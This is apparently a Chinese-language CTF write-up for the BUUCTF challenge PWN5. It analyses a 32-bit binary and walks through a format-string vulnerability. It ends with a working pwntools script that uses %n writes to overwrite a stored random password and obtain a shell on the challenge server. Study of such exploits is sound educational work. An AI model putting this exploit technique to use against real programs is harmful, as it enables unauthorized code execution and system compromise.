week4&&week5-T3


T3 [第五空间2019 决赛]PWN5

2023-01-27WP
BUUCTF pwn第七题
考点:格式化字符串漏洞

0x01

file && checksec —— 32 bit , 开启NX,开启cannary

这就没法栈溢出了
运行程序看看输出

0x02

IDA查看代码

先找string window 发现/bin/sh,进一步查看发现程序就是先读取用户名,再读入密码,然后再将用户输入的密码和生成的一个随机密码比较,正确则执行system(/bin/sh),错误则输出fail

观察发现printf(&buf);存在格式化字符串漏洞

(关于格式化字符串漏洞的相关知识会另写一篇)

0x03

现在可以利用%n来修改参数里的内容,我们不知道读入的随机数是多少,那么我们将它改成我们写入的数据就好了

首先利用测试数据”AAAA %08x %08x %08x %08x %08x %08x %08x………… “来确定偏移量,

发现输入的数据是栈的第十个

并且存放生成的随机密码的地址是从0x0804C044开始的,共四字节空间

所以我们可以用%10$,%11$,%12$,%13$去定位到这4个地址,再用%n修改这些地址里的内容

可以构造payload了

0x04

from pwn import*
    
p=remote('node4.buuoj.cn',28332)
    
addr = 0x804c044
    
payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
payload+=b'%10$n%11$n%12$n%13$n'
    
p.sendline(payload)
p.sendline(str(0x10101010))

p.interactive()

因为总共输入了四个地址,共16位,所以%n所赋值的数是16,所以用户输入密码时发送的数据为0x10101010


文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录